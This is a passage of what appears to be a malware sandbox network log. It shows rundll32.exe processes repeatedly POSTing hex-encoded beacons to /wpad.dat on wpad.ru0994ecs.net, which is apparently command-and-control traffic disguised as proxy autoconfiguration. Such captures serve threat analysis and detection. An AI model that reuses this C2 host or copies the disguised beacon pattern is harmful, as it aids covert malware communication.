2024-04-16 21:03:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:18 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=et3FRXx6fBXV2d7%2Fi1CCPdOv2I0UEN9THyGM4560jbFGXUdYxdn1dmzCLM0rpwJyQfO5Jqt9IS36zRq0Vpp6UdsH4EDE3UMkzFKm0s1w%2FAkweDXX83s0U1IZeQsJMqPapHmC8x8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f0dadf753fe-ATL
2024-04-16 21:03:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49799	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:18 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m6KTST4Nxe4hlpHxLCiKqkP2vYa0vo0sANm94N3ssgl8b%2Bk08JKD9tqcg80MQCEIIm%2B3ZR9kvnKoARmE0Ut1hxg5xe0KLggFD4eECUbF27CVcccR%2FITDZjW27jzpqCt0ISsyD7g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f0e0a19adc5-ATL
2024-04-16 21:03:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49800	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:22 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:22 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:23 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JjK621pRAJZEeuGLLDp3cxan16IV5M91chfgc5Xs0WPeU7dE6p%2Bee10pN%2FFkJxtatHJeO%2BJpI7k4CqtRb%2FyFsnNExWsE7rp%2FEwehidlTGjSdQOTreS7AFkn%2FneWDfDKNfs7LZB8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f296ec91d76-ATL
2024-04-16 21:03:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49802	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:23 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:23 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:23 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oUJnrh15M6QSjbPch1qM65PtZBbe2DN2PD2jV%2B0pLhtR0tD4fe1EFMXh9ospMRJ27LGXtccFO8htS8NRCwP%2B%2BtUVSNf%2BkSbb0UbyhgSIJGoyEEz5mkiJA7AzL5mWJZfYj9RGIf0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f2a9fc178c8-ATL
2024-04-16 21:03:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49801	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:23 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:23 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:23 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mJkJM5mRrPr5Z7xq8EhK4q%2BLx2J1F9fdsyFi0OZCxNfxC15gb7NESi0RXytu30f9D%2F%2BysuiwOztfTlFbRh802vyjUUg574KTxCgmBX%2BXtgIzz%2BXOkYUQ2vPpC4VVjNWv1QwtpzI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f2a9f537b9f-ATL
2024-04-16 21:03:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49803	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:25 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:25 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:25 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jlpo50M9HUv2xMAx2DxjSsam3xzG4GeH%2BZzedcL99bnG5d1mRBu4y6bqJ6OoeF4Neh80gPh0M1DxFdd5GR03TIxBMSq7v5mIWH7SZWiHmlnBlDWgwyBl31hB5hF5dTdB3645JUQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f39eeb917ef-ATL
2024-04-16 21:03:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49804	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:28 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:28 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:29 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mzj%2BkUajyo6ErOxdR%2Bg3xKeEiPBU5iT5UM9bh116h7jp7J8wmdya1amekZzSK0uyGfQAxJXLkSDcZKhnp8zl3mILzYvaE9FlEjWfnppQZMBc%2BGIyPey%2FQzLR45roq9AkU5iBdaM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f4d4a1d8bb5-ATL
2024-04-16 21:03:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49805	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:28 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:28 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:29 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ySW%2FIMnLRbj5dNc0jnhJXIhj2g%2FrMiXXarqJcq11ZpO7PQwZ2EEqtJXmmaHnG8sjlvHnfukM5yI99W2nSa48WRU2p4nN8frIQboWcA3WdbaLKjEy2Ez0%2FzYfanSuKUDx1dhXGe0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f4dedbe456c-ATL
2024-04-16 21:03:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49806	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:30 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:30 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:30 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zfGhD3yxtwU5XBWhqDlZC4LD1b1X1FxRcShrJFD9b7TCcsvcZTF3pvZa62YL8xcxwyFAXHEAkvFOGMnG%2BMkhVLPffa%2BWywToQ9EYaTIyQcYHCI6yVXx55JKEhozS7A51AxGWT8A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f56aeac1d72-ATL
2024-04-16 21:03:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49807	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:32 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2w7rZpqEVV1PjHjwq%2Ft5kTVSRMGJaEe8MLk5q%2BnBWmh7dqaj5PwjGCNnTbPrb4Ed7dmzjkd3lWdr%2B9kUDcVzjrqApL7jIkKZ1UCcK%2FvHufuxq0SopPSat2HriPk%2BWMek177qP7Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f63eadd455d-ATL
2024-04-16 21:03:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49808	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:32 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ujxUOr3ele0%2Bci%2FWP3E0U9k7dYNJlFCjAHrlaGzMWazWZ%2BBRwkbaqwELQSt%2BMSyxEX3Cvc9aEngCTzCYiBY8BIkeL8BW3yFv6rCe%2Fc0unyEyHBuBb99s0q9VkitRcIIx9EhLhIQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f646803b0ee-ATL
2024-04-16 21:03:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49809	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:33 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bZYalZ4GTpzsUWWMoAuqf3f3z%2BXRZgMovpmgZmejA%2FBCyUcW7dy%2Fnu%2FQAf6jwQRz%2FVLg7x9fVmytkjQ5MKfoNpFPrrkRfuI5zqUGkRIDD05IHkCJ0b47gf2AGfjmpO7NwNZkva0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f670ad9b04e-ATL
2024-04-16 21:03:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49810	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:33 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:33 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:34 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bqp%2BgKrUb4mF2Cbi4ErFHWnroYL5l0go6XOQpeByYKEGYUsSrhYlmfCJfZzeLydIhUhwm91ZrRao30F1RpUASz%2BcLx%2BBPpbQJCnxoYEBckKDCclUXzJXBJGZlZL%2Bw3DHClRtrtk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f6e3d0d8bb8-ATL
2024-04-16 21:03:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49811	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:33 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
